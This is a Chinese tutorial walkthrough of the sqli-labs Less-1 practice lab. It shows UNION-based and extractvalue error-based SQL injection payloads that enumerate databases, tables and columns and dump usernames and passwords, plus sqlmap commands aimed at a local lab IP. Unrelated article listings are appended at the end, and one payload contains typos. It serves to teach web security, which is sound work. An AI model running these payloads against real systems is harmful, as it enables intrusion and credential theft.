union联合注入(方法一)

进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1

数据库执行语句:select * from news where id=1页面返回描述:返回内容正常

正常浏览页面,找到有参数的地方,如id

判断注入点

1.使用单引号来判断是否有注入点?id=1'

出现报错说明有注入点

判断注入类型

判断是数字型还是字符类型

数字型注入判断:

?id=1 and 1=1如果是数字型页面正常

?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立

以下页面都是正常的,可以判断这是一个字符串注入

字符串类型判断:

使用单引号和--+闭合进行判断

?id=1' and 1=1--+如果是字符型页面正常

?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立

以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入

判断字段

通过SQL语句中order by N 来判断有几个字段

order by N 页面报错 字段为N-1

字符型判断字段:

?id=1' order by 1--+ 页面正常

?id=1' order by 2--+ 页面正常

?id=1' order by 3--+ 页面正常

?id=1' order by 4--+ 页面报错

由此得出有3个字段

显位

id=1' and 1=2 union select 1,2,3--+

查库名

id' and 1=2 union select 1,database(),3--+

得到库名 security

查表

?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)

前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样

报错注入模板:

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+

查库

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

报错信息成功查询到了库名

查表

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+

sqlmap工具

启动工具sqlmap

python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点

  • 这样步可以直接跳过,从查库开始

复制路径http://192.168.121.129:8002/Less-1/?id=1

回到sqlmap工具的终端

-u: 添加一个url

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1

通过工具扫描出有4中方法可以注入

查库

默认工具使用方法注入,不指定方法

--dbs:查询数据库

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs

在运行过程中有提示回车默认选项就完事了

查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容

challenges

information_schema:系统库无需查

mysql:系统库无需查

performance_schema系统库无需查

security

查表

-dbs改为-D+库名secrity

--tables 查表

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables

查出4个表,其中有一个users的表名,无需判断直接查表

 emails

referers

uagents

users

查列名

--columns 查列名

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns

有四个列名查列名id,password,username的内容

查账号密码

使用--dump输出内容

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章

  1. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  2. [转]字符型IP地址转换成数字IP的SQL函数

    使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助.      /**//*--调用示例       sele ...

  3. c++之字符型中的特殊字符回车符

    1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...

  4. FineReport根据点击次数奇偶性排序之字符型

    上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...

  5. (转)C语言16进制输出字符型变量问题

    最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char  ...

  6. 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  7. 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  8. 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)

    当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...

  9. 让人又爱又恨的char(字符型)

    今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...

  10. 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。

    //在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...

随机推荐

  1. 它让你1小时精通RabbitMQ消息队列(新增死信处理)

    支持.NET/.NET Framework/.NET Core RabbitMQ作为一款主流的消息队列工具早已广受欢迎.相比于其它的MQ工具,RabbitMQ支持的语言更多.功能更完善. 本文提供一种 ...

  2. 2022-08-08-esp32把玩记-①

    layout: post cid: 4 title: esp32把玩记-① slug: 4 date: 2022/08/08 14:59:58 updated: 2022/08/08 14:59:58 ...

  3. 设计一个网上书店,该系统中所有的计算机类图书(ComputerBook)每本都有10%的折扣,所有的语言类图书(LanguageBook)每本都有2元的折扣,小说类图书(NovelBook)每100元

    现使用策略模式来设计该系统,绘制类图并编程实现 UML类图 书籍 package com.zheng; public class Book { private double price;// 价格 p ...

  4. 在vue中引入elementui

    文章目录 1.下载安装 2.在main.js中引入 3.可以根据封装好的组件自行调用 官网地址:https://element.eleme.cn/#/zh-CN 1.下载安装 npm i elemen ...

  5. 你应该知道的数仓安全:都是同名Schema惹的祸

    摘要:我是管理员账号,怎么还没有权限?当小伙伴询问的时候,我第一时间就会想到都是用户同名Schema惹的祸 本文分享自华为云社区<你应该知道的数仓安全--都是同名Schema惹的祸>,作者 ...

  6. 知识图谱-生物信息学-医学顶刊论文(Bioinformatics-2021)-SumGNN:通过有效的KG聚集进行多类型DDI预测

    3.(2021.3.26)Bioinformatics-SumGNN:通过有效的KG聚集进行多类型DDI预测 论文标题: SumGNN: multi-typed drug interaction pr ...

  7. 【React】学习笔记(二)——组件的生命周期、React脚手架使用

    原教程视频:ttps://www.bilibili.com/video/BV1wy4y1D7JT?p=2&spm_id_from=pageDriver 目录 一.组件的生命周期 1.1.生命周 ...

  8. Golang 加密方法

    如果想直接使用我下列的库 可以直接go get 我的github go get -u github.com/hybpjx/InverseAlgorithm md5 加密--不可逆 MD5信息摘要算法是 ...

  9. RHCE习题

    RHCE习题 考试说明: RH294系统信息 在练习期间,您将操作下列虚拟系统: 真实机: foundation: kiosk:redhat root: Asimov workstation.lab. ...

  10. Codeforces Round #802 (Div. 2)C. Helping the Nature(差分)

    题目链接 题目大意: 给你一个有n个元素的数组a,你可以通过一下三种操作使数组的每一个值都为0: 选择一个下标i,然后让a[1],a[2]....a[ i ] 都减一; 选择一个下标i,然后让a[i] ...